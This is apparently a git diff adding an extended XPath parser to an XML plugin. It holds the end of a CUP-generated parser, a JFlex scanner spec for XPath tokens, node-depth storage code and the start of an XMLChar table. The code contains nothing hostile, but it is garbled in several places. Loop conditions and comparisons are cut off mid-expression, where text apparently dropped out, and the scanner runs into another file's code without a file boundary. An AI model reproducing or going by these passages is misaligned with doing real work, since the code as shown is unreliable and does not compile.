((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.GT, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 10: // RelationalExpr ::= RelationalExpr LT AdditiveExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(re, BinaryExpr.LT, ae); + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 9: // RelationalExpr ::= AdditiveExpr + { + Expr RESULT = null; + int aeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ae = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ae; + CUP$parser$result = new java_cup.runtime.Symbol(7/*RelationalExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 8: // EqualityExpr ::= EqualityExpr NE RelationalExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ee, BinaryExpr.NE, re); + CUP$parser$result = new java_cup.runtime.Symbol(5/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 7: // EqualityExpr ::= EqualityExpr EQ RelationalExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(ee, BinaryExpr.EQ, re); + CUP$parser$result = new java_cup.runtime.Symbol(5/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 6: // EqualityExpr ::= RelationalExpr + { + Expr RESULT = null; + int releft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int reright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr re = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = re; + CUP$parser$result = new java_cup.runtime.Symbol(5/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 5: // AndExpr ::= AndExpr AND EqualityExpr + { + Expr RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(a, BinaryExpr.AND, ee); + CUP$parser$result = new java_cup.runtime.Symbol(6/*AndExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 4: // AndExpr ::= EqualityExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ee; + CUP$parser$result = new java_cup.runtime.Symbol(6/*AndExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 3: // OrExpr ::= OrExpr OR AndExpr + { + Expr RESULT = null; + int oleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int oright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr o = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(o,BinaryExpr.OR,a); + CUP$parser$result = new java_cup.runtime.Symbol(4/*OrExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 2: // OrExpr ::= AndExpr + { + Expr RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = a; + CUP$parser$result = new java_cup.runtime.Symbol(4/*OrExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 1: // $START ::= Expr EOF + { + Object RESULT = null; + int start_valleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int start_valright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr start_val = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = start_val; + CUP$parser$result = new java_cup.runtime.Symbol(0/*$START*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + /* ACCEPT */ + CUP$parser$parser.done_parsing(); + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 0: // Expr ::= OrExpr + { + Expr RESULT = null; + int oleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int oright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr o = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = o; + CUP$parser$result = new java_cup.runtime.Symbol(3/*Expr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /* . . . . . .*/ + default: + throw new Exception( + "Invalid action number found in internal parse table"); + + } + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/scanner.flex b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/scanner.flex new file mode 100644 index 0000000..103d59c --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/scanner.flex @@ -0,0 +1,687 @@ +/* + * Copyright (C) 2002-2011 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + + +package com.ximpleware.extended.xpath; +import java_cup.runtime.Symbol; +import com.ximpleware.extended.parser.*; +import com.ximpleware.extended.*; + +%% +%cup +%char +%unicode +%extends sym +%yylexthrow XPathParseExceptionHuge + +%{ + + private Symbol sym(int sym) { + return new Symbol(sym); + } + + private Symbol sym(int sym, Object val) { + return new Symbol(sym, val); + } + + int isName; + NameType name; + FuncName fname; + Ntest ntest; + AxisType at; + int len; + String literal; + Double number; + int colonPosition; + + public int getOffset(){ + return yychar; + } + /* public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseExceptionHuge("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseExceptionHuge("XPath Syntax error: "+cur_token); + }*/ + +%} +%init{ + isName = 1; + colonPosition = -1; +%init} + +ws = [ \t\r\n] +digits = [0-9]+ +nc = ([^\!-/:-@\[-\^ \n\r\t\|]|"#"|"&"|";"|"?"|_|"\\"|"^"|"%"|"-"|".") +nc2 = ([^\!-/:-@\[-\^ \n\r\t\|0-9]|"#"|"&"|";"|"?"|_|"\\"|"^"|"%"|".") + +%% +{ws}+ { /* eat white space */} + +"+" {isName = 1 ; return sym(ADD);} +- {isName = 1 ; return sym(SUB);} +"." {isName = 0 ; /*System.out.println(". returned ");*/ return sym(DOT);} +".." {isName = 0 ; return sym(DDOT);} +"@" {isName = 1 ; return sym(AT);} + +"," {isName = 1 ; return sym(COMMA);} +"(" {isName = 1 ; return sym(LP);} +")" {isName = 0 ; return sym(RP);} +"[" {isName = 1 ; /*System.out.println( "[ returned");*/ return sym(LB);} +"]" {isName = 0 ; return sym(RB);} +">" {isName = 1 ; return sym(GT);} +"<" {isName = 1 ; return sym(LT);} +">=" {isName = 1 ; return sym(GE);} +"<=" {isName = 1 ; return sym(LE);} +"=" {isName = 1 ; return sym(EQ);} +"!=" {isName = 1 ; return sym(NE);} +"$" {isName = 1; return sym(DOLLAR);} + +"*" {if (isName ==0){ + isName = 1; + //System.out.println("returned a MULT"); + return sym(MULT); + } + else { + isName = 0; + name = new NameType(); + name.qname = "*"; + return sym(NAME,name); + } + } + +"/" {isName = 1 ; + //System.out.println("SLASH returned "); + return sym(SLASH); + } + +"//" {isName = 1 ; + //System.out.println("DSLASH returned "); + return sym(DSLASH); + } + +div { if (isName == 0 ) { + isName = 1 ; + return sym(DIV); + } else { + isName = 0; + name = new NameType(); + name.qname = "div"; + return sym(NAME,name); + } + } + +mod { if (isName == 0) { + isName = 1 ; + return sym(MOD); + } else { + isName = 0; + name = new NameType(); + name.qname = "mod"; + //System.out.println("returned a NAME "+yytext()); + return sym(NAME,name); + } + } + +and { if (isName == 0) { + isName = 1 ; + return sym(AND); + } else { + isName = 0; + name = new NameType(); + name.qname = "add"; + return sym(NAME,name); + } + } + +or { if (isName == 0) { + isName = 1 ; + return sym(OR); + } else { + isName = 0; + name = new NameType(); + name.qname = "or"; + return sym(NAME,name); + } + } + +"|" {isName = 1 ; return sym(UNION) ; } + +last{ws}*"(" { isName = 1; + yypushback(1); + fname = new FuncName(); + fname.i = FuncName.LAST; + return sym(FNAME,fname); + } +position{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.POSITION; + fname = new FuncName(); + fname.i = FuncName.POSITION; + return sym(FNAME,fname); + } +count{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COUNT; + fname = new FuncName(); + fname.i = FuncName.COUNT; + return sym(FNAME,fname); + } +local-name{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME; + return sym(FNAME,fname); + } +namespace-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI; + return sym(FNAME,fname); + } +name{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAME; + fname = new FuncName(); + fname.i = FuncName.NAME; + return sym(FNAME,fname); + } + +string{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING; + fname = new FuncName(); + fname.i = FuncName.STRING; + return sym(FNAME,fname); + } + + +concat{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONCAT; + fname = new FuncName(); + fname.i = FuncName.CONCAT; + return sym(FNAME,fname); + } + +starts-with{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STARTS_WITH; + fname = new FuncName(); + fname.i = FuncName.STARTS_WITH; + return sym(FNAME,fname); + } + +contains{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONTAINS; + fname = new FuncName(); + fname.i = FuncName.CONTAINS; + return sym(FNAME,fname); + } + +substring-before{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_BEFORE; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_BEFORE; + return sym(FNAME,fname); + } + +substring-after{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_AFTER; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_AFTER; + return sym(FNAME,fname); + } + +substring{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING; + return sym(FNAME,fname); + } + +string-length{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING_LENGTH; + fname = new FuncName(); + fname.i = FuncName.STRING_LENGTH; + return sym(FNAME,fname); + } + +normalize-space{ws}*"(" { isName =1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NORMALIZE_SPACE; + fname = new FuncName(); + fname.i = FuncName.NORMALIZE_SPACE; + return sym(FNAME,fname); + } + +translate{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRANSLATE; + fname = new FuncName(); + fname.i = FuncName.TRANSLATE; + return sym(FNAME,fname); + } + +abs{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ABS; + fname = new FuncName(); + fname.i = FuncName.ABS; + return sym(FNAME,fname); + } + +round-half-to-even{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_EVEN; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_EVEN; + return sym(FNAME,fname); + } + +round-half-to-odd{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_ODD; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_ODD; + return sym(FNAME,fname); + } + +code-points-to-string{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CODE_POINTS_TO_STRING; + fname = new FuncName(); + fname.i = FuncName.CODE_POINTS_TO_STRING; + return sym(FNAME,fname); + } + +compare{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COMPARE; + fname = new FuncName(); + fname.i = FuncName.COMPARE; + return sym(FNAME,fname); + } + +upper-case{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.UPPER_CASE; + fname = new FuncName(); + fname.i = FuncName.UPPER_CASE; + return sym(FNAME,fname); + } + +lower-case{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOWER_CASE; + fname = new FuncName(); + fname.i = FuncName.LOWER_CASE; + return sym(FNAME,fname); + } + +ends-with{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENDS_WITH; + fname = new FuncName(); + fname.i = FuncName.ENDS_WITH; + return sym(FNAME,fname); + } + +QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.QNAME; + fname = new FuncName(); + fname.i = FuncName.QNAME; + return sym(FNAME,fname); + } + +local-name-from-QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + return sym(FNAME,fname); + } + +namespace-uri-from-QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + return sym(FNAME,fname); + } + +namespace-uri-for-prefix{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + return sym(FNAME,fname); + } + +resolve-QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.RESOLVE_QNAME; + fname = new FuncName(); + fname.i = FuncName.RESOLVE_QNAME; + return sym(FNAME,fname); + } + +iri-to-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.IRI_TO_URI; + fname = new FuncName(); + fname.i = FuncName.IRI_TO_URI; + return sym(FNAME,fname); + } + +escape-html-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ESCAPE_HTML_URI; + fname = new FuncName(); + fname.i = FuncName.ESCAPE_HTML_URI; + return sym(FNAME,fname); + } + +encode-for-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENCODE_FOR_URI; + fname = new FuncName(); + fname.i = FuncName.ENCODE_FOR_URI; + return sym(FNAME,fname); + } + +boolean{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.BOOLEAN; + fname = new FuncName(); + fname.i = FuncName.BOOLEAN; + return sym(FNAME,fname); + } + +not{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NOT; + fname = new FuncName(); + fname.i = FuncName.NOT; + return sym(FNAME,fname); + } + +true{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRUE; + fname = new FuncName(); + fname.i = FuncName.TRUE; + return sym(FNAME,fname); + } + +false{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.FALSE; + fname = new FuncName(); + fname.i = FuncName.FALSE; + return sym(FNAME,fname); + } + +lang{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LANG; + fname = new FuncName(); + fname.i = FuncName.LANG; + return sym(FNAME,fname); + } + +number{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NUMBER; + fname = new FuncName(); + fname.i = FuncName.NUMBER; + return sym(FNAME,fname); + } + +sum{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUM; + fname = new FuncName(); + fname.i = FuncName.SUM; + return sym(FNAME,fname); + } + +floor{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.FLOOR; + fname = new FuncName(); + fname.i = FuncName.FLOOR; + return sym(FNAME,fname); + } + +ceiling{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CEILING; + fname = new FuncName(); + fname.i = FuncName.CEILING; + return sym(FNAME,fname); + } + +round{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND; + fname = new FuncName(); + fname.i = FuncName.ROUND; + return sym(FNAME,fname); + } + + +\"[^\"]*\" | +'[^']*' { + isName = 0; + len = yytext().length(); + literal = yytext().substring(1, len-1); + return sym(LITERAL,literal); + } + +{digits}("."{digits}?)? | +"."{digits} { + isName = 0; + number = new Double(yytext()); + //System.out.println("number returned ==> "+ Double.parseDouble(yytext())); + return sym(NUMBER,number); + } + +text{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.TEXT; + ntest.arg = null; + return sym(NTEST,ntest); + } + +comment{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.COMMENT; + ntest.arg = null; + return sym(NTEST,ntest); + } + +node{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.NODE; + ntest.arg = null; + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = null; + return sym(NTEST,ntest); + } + +ancestor{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR; + return sym(AXISNAME,at); + } + +ancestor-or-self{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR_OR_SELF; + return sym(AXISNAME,at); + } + + +attribute{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.ATTRIBUTE; + return sym(AXISNAME,at); + } + +child{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.CHILD; + return sym(AXISNAME,at); + } + +descendant{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT; + return sym(AXISNAME,at); + } + +descendant-or-self{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT_OR_SELF; + return sym(AXISNAME,at); + } + +following{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING; + return sym(AXISNAME,at); + } + +following-sibling{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING_SIBLING; + return sym(AXISNAME,at); + } + +namespace{ws}*:: { isName =0; + at = new AxisType(); + at.i = AxisType.NAMESPACE; + return sym(AXISNAME,at); + } + +parent{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.PARENT; + return sym(AXISNAME,at); + } + +preceding{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING; + return sym(AXISNAME,at); + } + +preceding-sibling{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING_SIBLING; + return sym(AXISNAME,at); + } + +self{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.SELF; + //System.out.println("SELF:: returned"); + return sym(AXISNAME,at); + } + +{nc2}{nc}*:"*" { isName = 0; + len = yytext().length(); + name = new NameType(); + if (!XMLChar.isNCNameStartChar(yytext().charAt(0))) + throw new XPathParseExceptionHuge("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i" + yytext()); + //if (yytext().charAt(0) =='-'){ + // throw new XPathParseException("Invalid char in name token:"+yytext()); + //} + + name.qname = new String(yytext()); + if (!XMLChar.isNCNameStartChar(name.qname.charAt(0))) + throw new XPathParseExceptionHuge("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;imaxDepth){ + maxDepth = temp; + } + if (storage[temp]==null) { + storage[temp]= new FastIntBuffer(pageSizeE); + storage[temp].append(i); + return true; + } + else{ + int size = storage[temp].size; + for (int j=0;jmaxDepth){ + maxDepth = temp; + } + if (storage[temp]==null) { + //storage[temp]= new FastIntBuffer(pageSizeE); + //storage[temp].append(i); + return true; + } + else{ + int size = storage[temp].size; + for (int j=0;j + * This is an optimization for the inner loop of character scanning. + */ + public static final int XML_CONTENT = 0x20; + + /** NCName start character mask. */ + public static final int XML_NCNAME_START = 0x40; + + /** NCName character mask. */ + public static final int XML_NCNAME = 0x80; + + // + // Static initialization + // + + static { + + // + // [2] Char ::= #x9 | #xA | #xD | [#x20-#xD7FF] | + // [#xE000-#xFFFD] | [#x10000-#x10FFFF] + // + + int xmlCharRange[][] = { { 0x0009, 0x000A }, { + 0x000D, 0x000D }, { + 0x0020, 0xD7FF }, { + 0xE000, 0xFFFD }, }; + + // + // [3] S ::= (#x20 | #x9 | #xD | #xA)+ + // + + int xmlSpaceChar[] = { 0x0020, 0x0009, 0x000D, 0x000A, }; + + // + // [4] NameChar ::= Letter | Digit | '.' | '-' | '_' | ':' | + // CombiningChar | Extender + // + + int xmlNameChar[] = { 0x002D, 0x002E, // '-' and '.' + }; + + // + // [5] Name ::= (Letter | '_' | ':') (NameChar)* + // + + int xmlNameStartChar[] = { 0x003A, 0x005F, // ':' and '_' + }; + + // + // [13] PubidChar ::= #x20 | 0xD | 0xA | [a-zA-Z0-9] | [-'()+,./:=?;!*#@$_%] + // + + int xmlPubidChar[] = + { 0x000A, 0x000D, 0x0020, 0x0021, 0x0023, 0x0024, 0x0025, 0x003D, 0x005F }; + + int xmlPubidRange[][] = { { 0x0027, 0x003B }, { + 0x003F, 0x005A }, { + 0x0061, 0x007A } + }; + + // + // [84] Letter ::= BaseChar | Ideographic + // + + int xmlLetterRange[][] = { + // BaseChar + { 0x0041, 0x005A }, { 0x0061, 0x007A }, { 0x00C0, 0x00D6 }, + { 0x00D8, 0x00F6 }, { 0x00F8, 0x0131 }, { 0x0134, 0x013E }, + { 0x0141, 0x0148 }, { 0x014A, 0x017E }, { 0x0180, 0x01C3 }, + { 0x01CD, 0x01F0 }, { 0x01F4, 0x01F5 }, { 0x01FA, 0x0217 }, + { 0x0250, 0x02A8 }, { 0x02BB, 0x02C1 }, { 0x0388, 0x038A }, + { 0x038E, 0x03A1 }, { 0x03A3, 0x03CE }, { 0x03D0, 0x03D6 }, + { 0x03E2, 0x03F3 }, { 0x0401, 0x040C }, { 0x040E, 0x044F }, + { 0x0451, 0x045C }, { 0x045E, 0x0481 }, { 0x0490, 0x04C4 }, + { 0x04C7, 0x04C8 }, { 0x04CB, 0x04CC }, { 0x04D0, 0x04EB }, + { 0x04EE, 0x04F5 }, { 0x04F8, 0x04F9 }, { 0x0531, 0x0556 }, + { 0x0561, 0x0586 }, { 0x05D0, 0x05EA }, { 0x05F0, 0x05F2 }, + { 